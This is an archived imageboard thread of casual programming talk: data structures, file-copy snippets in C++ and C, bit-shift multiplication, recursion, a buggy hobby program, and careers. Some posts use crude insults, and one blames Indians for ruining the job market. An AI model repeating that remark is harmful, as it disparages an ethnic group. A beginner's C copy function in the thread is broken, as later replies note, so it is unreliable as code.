>As opposed to the overhead of expanding and shrinking arrays all the time? Do you even know how those standard libraries are implemented, or are you just trolled by how simple it looks to call them?

Overhead for using an array is much, much lower than the overhead for doing anything at all with the list and getting all those cache misses. There is enough information out there about this, you should know better.
>>61114372
He probably means double linked lists, but yes it is very wasteful, stop throwing garbage pointers you don't need into the cache lines, linked lists are useless, it has been proven time and time again.
>>
>>61114295
Linked lists are GOAT for schedulers.
>>
>>61113678
>I also knew file copy inside and out, including buffering implications, since I had done that on my own back in floppy disk days.)

What is there to know? There's tons of correct ways of doing it.

std::fstream src, des;
src.open ("src.txt", std::ios::in);
des.open ("des.txt", std::ios::out | std::ios::trunc);
while(src.good()){
std::string str;
src.getline(str);
des<<str<<"\n";
}
src.close();
des.close();


or

std::ifstream src("src.txt", std::ios::binary);, des;
std::ofstream des("des.txt", std::ios::binary | std::ios::trunc);
des << src.rdbuf()
src.close();
des.close();


or even

#include <filesystem>
...
std::copy_file(from, to);
>>
>>61110129
looks like pacman
>>
>>61096191
you know how processors do multiplication right?
>>
>>61096191
I don't see anything wrong. Bit shift are efficient and he didn't make the mistake of writing "b>>=1" with signed numbers.
>>
>>61104080
Thanks
>>
>>61084356
To simulate product when there is not available eg. Microcontroller programming
>>
>>61083042
This. In my country (with free higher education, mind you) only good, well-adjusted people with actual interest in the field apply to CS. Or maybe I just got extremely lucky with university.
>>
>>61095593
This is the most retarded thing I have seen on /g/ all week.
>>
>>61114295
C is for brainlets.
>>
>>61116719
Why is it retarded?
>>
File: 19_sh_24266794.jpg (41KB, 424x318px) Image search: [Google]
19_sh_24266794.jpg
41KB, 424x318px
>>61075597
>The number is false
>>
>>61116719
Just use the standard Peano construction of the natural numbers.
>>
>>61114138
>tfw no gf
>>
>>61086672
saved
>>
>>61116606
The arduino actually has an 8 bit, 2 clock cycle multiply instruction. What it's missing is a divide and floating point operations.
>>
i am a late-start-to-life reforming neet at 23 years old should i fall for the CS meme?
there is actually a decent one at madison so i hear and also not a high bar to clear to get there as i am a neet loser and i need a low bar
>>
File: else.png (12KB, 749x248px) Image search: [Google]
else.png
12KB, 749x248px
>>61075710
>>
>>61075519
Ocaml best lang.
let rec f a b = if b <= 0 then 0 else a + (f a (b-1));;

Doesn't support negative 'b' values, but I'm too lazy for that shit.
>>
>>61119106
>recursion
into the trash it goes
>>
>>61086343
>complains about time reliance
>recommends two forms of time reliant PRNGs
You're stupid and you shouldn't be talking about programming.
>>
>>61087385
>var = 10, it still returns true
Not in any half-decent language, it doesn't.
>>
>>61084367
Gross, no. Bit shifting and addition.
>>
>>61091772
Yeah, but maybe he's not usually a Java dev and prefers to not make implicit type conversions.
>>
>>61087385
>what is return !!var
>>
>>61119121
>too dumb to into recursion
Into the trash you go.
>>
>>61119369
Nice projecting, brainlet.
>>
>>61119377
>too dumb to know what projecting means
>>
>>61119347
Or you could just add the extra redundant lines and make your code more easily maintainable.
>>
>>61119420

or just use a bool cast
>>
>>61089073
thats least of his problem
>>
>>61075612
the dedication of this mf thou
>>
>>61113678
how difficult are the blackboard tests?

i don't know how to program yet and i'm starting cs in university this fall so i don't know how difficult any of this is but i'm stupid so i think i wouldn't do good quick while other people are watching but then again i don't know how to program yet so maybe it's supposed to be easy and it sounds difficult from my point of view
>>
>>61090493
on /g/, mostly.
>>
>>61113678
I'm a newfag to C, how come this doesn't work?
#include <stdio.h>

int cp(char * foo, char * bar) {
FILE * in = fopen(foo, "r");
FILE * out = fopen(bar, "w");

for(; fread(out, 1, 32, in););
}

int main(int argc, char ** argv) {
cp(argv[1], argv[2]);
}
>>
>>61123962
For one thing, you're not closing your file pointers. For another, fread reads to a char*, not a FILE*. Also, why use a for loop as a while loop.
also
>cp
b&
>>
>>61124119
I just looked at the man, and it says it does void, aka, its polymorphic.
>>
>>61124192
I see you're right, it does take void*, but that does not mean that you can throw any pointer into it. You need a buffer space, an intermediary. You do not write to a FILE* that way.
>>
>>61080848
unrolling loops is almost never beneficial on x86. Save it for the GPUs.
>>
>>61124240
lmao cp can't be this simple, there's probably some error handling
>>
>>61124557
Look at some BSD source code, it's probably this simple.

GNU source code usually has more error handling and l18n garbage than actual lines of code.
>>
>>61124557
https://stackoverflow.com/questions/10195343/copy-a-file-in-a-sane-safe-and-efficient-way

You should save the return of fread as the last read will probably be less than 32 bytes in size.
>>
>>61086648
What's printing "Block." for gamergate and "Block" to stdout gonna do, mkae more sense if she called some sort of function `block(tweet.user)`.

Also she blocks "Tweeters" called gamergate since she's comparing "Tweeters" to Gamergate and "Tweet" to negative, everything is all wrong.
>>
>>61124835
The point is he's supposed to be a game dev and he doesn't know shit about programming.
>>
>>61108841
I sure hope so
>>
File: 2017-06-28-191152_561x340_scrot.png (59KB, 561x340px) Image search: [Google]
2017-06-28-191152_561x340_scrot.png
59KB, 561x340px
>>61090518
Jesus, i typed 4, for the column, or as he calls it "comlumn" and it hangs and does nothing, then i try puting a letter in instead ('h') and then spews out "The comlumn you have chosen does not exist, please choose a different column." a million times. 1696 lines, and it's absolutely useless.
>>
>>61075785
>>61089139
is there a way for the user to catch this before it deletes everything?
>>
>>61126674
not running untested scripts as root?
>>
>>61127015
but at some point you will run some code as root, how do you catch this error in 1 line amone thousand?
>>
>>61127604
Except for a few packages that I've checked myself, my system only uses software from my distributions standard repository.
>>
>>61076679
>compsci uses advanced mathematics
ok pleb
>>
>>61127653
>werks on my machine
>>
>>61127604
Run it on a test instance, not your main system. VMs are a thing for a reason.
>>
>>61128794
i guess that's the same as having a full system backup
>>
>>61075484
>not majoring in HR so you can abuse neckbeard CS majors like my brother did

He works in 'People Operations' at Google, which is their fancy way of saying Human Resorces and spends most of his day bullying their coders and engineers. And yes, before anyone asks, he fucking makes more than me.

Going into CS was a mistake. Not that anyone knew at the time that Indians would destroy our job market.
>>
>>61129102
>Going to work for Google
>>
>>61129300
working IN the botnet, for the botnet, with the botnet
Thread posts: 314
Thread images: 70


[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y] [Search | Top | Home]

I'm aware that Imgur.com will stop allowing adult images since 15th of May. I'm taking actions to backup as much data as possible.
Read more on this topic here - https://archived.moe/talk/thread/1694/


If you need a post removed click on it's [Report] button and follow the instruction.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com.
If you like this website please support us by donating with Bitcoins at 16mKtbZiwW52BLkibtCr8jUg2KVUMTxVQ5
All trademarks and copyrights on this page are owned by their respective parties.
Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
This is a 4chan archive - all of the content originated from that site.
This means that RandomArchive shows their content, archived.
If you need information for a Poster - contact them.